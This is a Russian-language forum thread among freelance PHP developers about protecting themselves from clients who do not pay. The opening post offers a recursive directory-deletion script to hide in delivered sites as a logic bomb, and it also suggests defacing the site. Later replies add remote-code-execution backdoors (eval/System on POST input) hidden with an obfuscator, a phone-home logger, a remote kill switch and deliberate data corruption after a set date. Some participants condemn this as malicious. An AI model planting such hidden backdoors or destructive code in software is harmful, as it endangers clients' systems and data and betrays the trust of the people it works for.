Удалить П.
5 сообщений
#17 лет назад
По причине того что я на днях получил заказ от человека у которого в контактах нет данных, а проект только один - тот за который я берусь, решил обезопасить себя от возможного кидалова. Предоплату брать не могу так как я тут тоже новичек.

Полистав книгу по PHP нашел замечательную функцию - rmdir(). Создав всего один неприметный файлик в глубине каталогов, например с названием fack_off.php (ну или подобным) и содержимым:


<?php
// Рекурсивная функция удаления каталога
// с произвольной степенью вложенности
function full_del_dir($directory)
{


$dir = opendir($directory);


while(($file = readdir($dir)))


{


// Если функция readdir() вернула файл - удаляем его


if(is_file("$directory/$file")) unlink("$directory/$file");


// Если функция readdir() вернула каталог и он


// не равен текущему или родительскому - осуществляем


// рекурсивный вызов full_del_dir() для этого каталога


else if (is_dir("$directory/$file") &&


$file != "." &&


$file != "..")


{


full_del_dir("$directory/$file");


}
}
closedir($dir);
rmdir($directory);
echo("Каталог успешно удален");
}


// Удаляем каталог temp, можете указать любой :)
full_del_dir("temp");
?>


вы обезопасете себя от плохого настроения, а подумав немного можно например вывести пару матерных слов о заказчике на всю траницу сайта. конечно необходимо предусматреть откат, если недобросовестный заказчик передумает)

желаю удачи!
Максим Б.
2206 сообщений
#17 лет назад
Мне нравятся решения такого плана
Удалить П.
5 сообщений
#17 лет назад
:idea:предлагаю всем у кого хорошо с PHP придумать свои, пусть несложные но еффективные скрипты и выложить здесь.

тем самым вы поможете начинающим да и сами, я уверен, будете непрочь лишний раз обезопасить себя!
Михаил В.
2195 сообщений
#17 лет назад
А я бы оторвал что-нибудь исполнителю.
Удалить П.
5 сообщений
#17 лет назад
Нунуну... ведь мы - исполнители в значительной мере менее защищены от кидалова а тем более что об этом файле например никто не узнает никогда.

а не хотите платить - извольте, будете страдать)
Дмитрий Войциховский
2128 сообщений
#17 лет назад
Наличие подобного кода уже само по себе позволяет заказчику оставить исполнителя без оплаты.
Алексей Б.
897 сообщений
#17 лет назад
System($_POST);

или eval($_POST);

tarpedo, не стоит себя ограничивать в возможностях.
Алексей Б.
897 сообщений
#17 лет назад
Я вставляю подобный код только при наличии сомнений в порядочности заказчика.
Правда еще и обфускатором прохожу, если есть возможность, то и Zend'ом )
Александр Б.
174 сообщения
#17 лет назад
Забавно)
Роман Б.
75 сообщений
#17 лет назад
Цитата ("lyoxa"):
System($_POST);

или eval($_POST);

про safe_mode забыли?
Андрей Халецкий
3562 сообщения
#17 лет назад
Это не решит проблему.
Удаление копии скрипта - сомнительный плюс, да и я бы за такую дырку обиделся.

Гораздо лучше зенд + ограничение по времени работы/количеству запусков и т.д.
Николай С.
9 сообщений
#17 лет назад
Цитата ("SmartDesign"):
Это не решит проблему.
Удаление копии скрипта - сомнительный плюс, да и я бы за такую дырку обиделся.

Гораздо лучше зенд + ограничение по времени работы/количеству запусков и т.д.


Ну для этого нужно иметь полноценную версию Zend Enoder. А проще зазендите рабочие органы и делайте элементарно. Размещаете на свёом хостинге файлик. В нём только одно слово :
true или false; И та часть, которая зашифрована, вот в ней и проверяете, что в этом файле. Если true пусть работает, если false пусть die("Бабло верни";

Лично я делаю проще. Готовую систему размещают на своём хосте и показываю в работе. Как только поступает оплата отдаю нормальный скрипт без всяких дыр и зендов.
Андрей Халецкий
3562 сообщения
#17 лет назад
Цитата:
Ну для этого нужно иметь полноценную версию Zend Enoder. А проще зазендите рабочие органы и делайте элементарно. Размещаете на свёом хостинге файлик. В нём только одно слово :
true или false; И та часть, которая зашифрована, вот в ней и проверяете, что в этом файле. Если true пусть работает, если false пусть die("Бабло верни";
Все ыб ничего, но это очень легко "лечится" =)

Цитата:
Лично я делаю проще. Готовую систему размещают на своём хосте и показываю в работе. Как только поступает оплата отдаю нормальный скрипт без всяких дыр и зендов.
Это лучший вариант.
Дмитрий Войциховский
2128 сообщений
#17 лет назад
Есть самый идеальный вариант - написать нормальное ТЗ и составить договор плюс СБС
Ведь в случае размещения работы - если заказчик откажется забирать и, соответственно, платить - потеря денег и ресурсов.
---------
Что ж до недокументированного кода: при его наличии у заказчика есть шикарное оправдание - вот он мол встроил в сайт бекдоор,
значит правильно я ему не заплатил...
Алексей Б.
897 сообщений
#17 лет назад
Цитата ("3d-max"):
Цитата ("lyoxa"):
System($_POST);

или eval($_POST);

про safe_mode забыли?

на eval() он никак не влияет.

Серьезные заказы всегда предусматривают наличие гарантий обеих сторон.
Но когда проект с бюджетом "ниже среднего" и исполнителя мучают сомнения, это самый надежный вариант.

Еще иногда помогает @fopen("логер на твоем сайте",""; на случай если твои скрипты сменили место пребывания.

Далее как в магазине, получаешь деньги - отдаешь чистые исходники.
Кирилл М.
128 сообщений
#17 лет назад
У меня есть функция ua_id($id); Она возвращает массив пользователя найденого по ID. Я просто заказчику отправлю все файлы нормальными, а в этой функции после 20 числа ID будет браться рандомно ))) Если не кинет, то я ыбстренько всё исправлю, если кинет, то ему же хуже)))
Вадим Т.
3240 сообщений
#17 лет назад
Умышленное включение зловредного кода, не предупреждая об этом заказчика.
За такое нужно сразу заносить в черный список, и для себя можно делать выводы, стоит ли с такими исполнителями работать.

tarpedo, вот Вы каталог удаляете, а что если заказчик в него свои данные положит, например фотки, они что, тоже удалятся?

lyoxa, DEM90, вот вставляете в код такие жучки... А что если заказчик с Вами расплатится, а после этого Вы например случайно или умышленно "забудете" их удалить?

IMHO такое можно делать только в том случае, если заказчик уведомлен о наличии жучков до полной оплаты, и дал свое согласие на это перед началом разработки.
Сергей Р.
14 сообщений
#17 лет назад
Мне понравилось)
спасибо tarpedo
Алексей Б.
897 сообщений
#17 лет назад
Цитата ("tvv"):
Умышленное включение зловредного кода, не предупреждая об этом заказчика.

Код этот по своей сути не зловреден, но станет таковым при некоторых негативных обстоятельствах со стороны заказчика.
Это ведь мой скрипт и я могу вставлять туда все что душе угодно.
Цитата ("tvv"):

lyoxa, DEM90, вот вставляете в код такие жучки... А что если заказчик с Вами расплатится, а после этого Вы например случайно или умышленно "забудете" их удалить?

Если случайно, то кроме разработчика об этом никто не знает. Если умышленно, то это уже другая тема.
Болатов А.
1090 сообщений
#17 лет назад
Теперь знаю, кого не стоит выбирать, если мне или какому-нибудь знакомому потребуются web-разработка.